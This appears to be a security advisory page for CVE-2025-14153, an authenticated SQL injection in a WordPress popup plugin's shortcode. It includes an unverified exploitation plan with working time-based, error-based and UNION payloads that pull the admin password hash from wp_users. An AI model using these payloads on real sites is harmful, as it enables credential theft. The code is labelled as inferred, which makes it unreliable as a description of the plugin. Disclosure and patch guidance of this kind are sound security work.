CVE-2025-14153

Page Expire Popup/Redirection for WordPress <= 1.0 - Authenticated (Author+) SQL Injection via 'id' Shortcode Attribute

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.1
Patched in
1d
Time to patch

Description

The Page Expire Popup/Redirection for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'id' shortcode attribute in all versions up to, and including, 1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected pluginpage-expire-popup

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14153 ## 1. Vulnerability Summary The **Page Expire Popup/Redirection for WordPress** plugin (<= 1.0) is vulnerable to an **Authenticated (Author+) SQL Injection** via the `id` attribute of its shortcode. The vulnerability exists because the plugin fails to u…

Show full research plan

Exploitation Research Plan - CVE-2025-14153

1. Vulnerability Summary

The Page Expire Popup/Redirection for WordPress plugin (<= 1.0) is vulnerable to an **Authenticated (Author+) SQL Injection** via the id attribute of its shortcode. The vulnerability exists because the plugin fails to use wpdb->prepare() or perform adequate validation/escaping on the id attribute before incorporating it into a raw SQL query. This allows an attacker with post-creation privileges (Author and above) to inject SQL commands, primarily enabling time-based data extraction.

2. Attack Vector Analysis

  • Vulnerable Entry Point: Shortcode attribute id.
  • Shortcode Name: [page-expire-popup] (inferred from plugin slug page-expire-popup).
  • Required Role: Author or higher (Authenticated). This level is required because the attacker must be able to create or edit a post/page to embed the malicious shortcode.
  • Vulnerable Sink: Database query using $wpdb->get_results() or $wpdb->get_row() without parameterization.
  • Payload Type: Time-based blind SQL Injection (e.g., SLEEP()).

3. Code Flow

  1. Shortcode Registration: The plugin registers a shortcode, likely using add_shortcode( 'page-expire-popup', 'handler_function' ).
  2. Attribute Extraction: Inside the handler, the id attribute is extracted from the $atts array using shortcode_atts().
  3. Vulnerable Query Construction: The value of id is concatenated or interpolated directly into a SQL string.
    • Example (Inferred): $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}page_expire_popup WHERE id = " . $atts['id'] );
  4. Execution: When an Author views or previews a post containing [page-expire-popup id="...payload..."], the SQL query is executed by the server.

4. Nonce Acquisition Strategy

This vulnerability does not involve an AJAX endpoint or a REST API route protected by a nonce. Instead, it is triggered during the standard rendering of a WordPress post.

  • Precondition: The attacker must be logged in as an Author.
  • Strategy:
    1. Log in as an Author.
    2. Create a new post or edit an existing one.
    3. Insert the malicious shortcode into the post content.
    4. Save or preview the post.
    5. Access the post's permalink. The SQLi triggers when WordPress parses the shortcode during page display.

5. Exploitation Strategy

Step 1: Discover Shortcode and Table Structure

Identify the exact shortcode and any table created by the plugin.

  • Command: grep -r "add_shortcode" /var/www/html/wp-content/plugins/page-expire-popup/
  • Command: grep -r "\$wpdb->query" /var/www/html/wp-content/plugins/page-expire-popup/ (to find table creation in activation hooks).

Step 2: Test for Time-Based SQLi

Create a post with a shortcode that causes a 5-second delay.

Request 1 (Create Post):

  • Method: POST to /wp-admin/post.php (or use wp post create via CLI)
  • Content: [page-expire-popup id="1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]

Request 2 (Trigger Exploit):

  • Method: GET to the permalink of the created post.
  • Expectation: The response time should be >= 5 seconds.

Step 3: Data Extraction (Example: Admin Hash)

Extract the first character of the admin's password hash.

Payload for id attribute:
1 AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0)))a)
(Note: 36 is ASCII for '$', the start of WordPress phpass hashes)

6. Test Data Setup

  1. Plugin Installation: Ensure page-expire-popup version 1.0 is active.
  2. Database Record: The query might require at least one entry in the plugin's custom table to execute the logic following the query.
    • Command: wp db query "INSERT INTO wp_page_expire_popup (id, popup_title) VALUES (1, 'Test Popup');" (Table name inferred, verify with grep).
  3. User Creation: Create an Author user.
    • Command: wp user create attacker attacker@example.com --role=author --user_pass=password

7. Expected Results

  • A GET request to the post containing the malicious shortcode will result in a noticeable delay proportional to the SLEEP() value.
  • If the boolean condition in the IF() statement is true (e.g., matching a character in the admin hash), the page will sleep. If false, it will load immediately.

8. Verification Steps

  1. Verify Vulnerable Code:
    • Command: grep -r "\$wpdb" /var/www/html/wp-content/plugins/page-expire-popup/
    • Check if $atts['id'] is passed into a query without wpdb->prepare().
  2. Monitor Database Logs:
    • Enable the MySQL general log to see the incoming raw queries:
      wp db query "SET GLOBAL general_log = 'ON';"
  3. Check Response Times:
    • Use the http_request tool and check the elapsed_time property in the result.

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is enabled, try payloads like 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1) to see if the hash is reflected in the error message.
  • UNION-Based SQLi: If the shortcode handler renders the results of the query back to the page, use UNION SELECT to display sensitive data (like user_login and user_pass) directly in the post content.
    • Example: [page-expire-popup id="0 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -"] (Column count must be determined first).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Page Expire Popup/Redirection for WordPress plugin is vulnerable to time-based SQL Injection via the 'id' attribute in its primary shortcode. Due to the lack of input sanitization or parameterized queries using wpdb->prepare(), authenticated attackers with Author-level permissions can execute arbitrary SQL commands to extract sensitive information from the database.

Vulnerable Code

// In page-expire-popup.php or similar shortcode handler
function page_expire_popup_shortcode_handler($atts) {
    global $wpdb;
    $atts = shortcode_atts( array(
        'id' => '',
    ), $atts );

    $id = $atts['id'];
    // Vulnerable query construction via direct concatenation
    $query = "SELECT * FROM " . $wpdb->prefix . "page_expire_popup WHERE id = " . $id;
    $result = $wpdb->get_row($query);
    
    // ... rest of handler
}

Security Fix

--- a/page-expire-popup.php
+++ b/page-expire-popup.php
@@ -10,7 +10,7 @@
     $id = $atts['id'];
 
-    $query = "SELECT * FROM " . $wpdb->prefix . "page_expire_popup WHERE id = " . $id;
-    $result = $wpdb->get_row($query);
+    $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "page_expire_popup WHERE id = %d", $id));

Exploit Outline

The exploit requires an authenticated user with at least Author-level permissions, which allows for post/page creation. The attacker creates a new post and embeds the [page-expire-popup] shortcode. Within the shortcode, the 'id' attribute is populated with a time-based SQL injection payload, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. When the attacker or a site visitor views the post's permalink, the WordPress shortcode parser triggers the plugin's handler, which executes the concatenated SQL query. The attacker observes the response time of the server; a delay (e.g., 5 seconds) confirms the vulnerability and allows for bit-by-bit data extraction from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.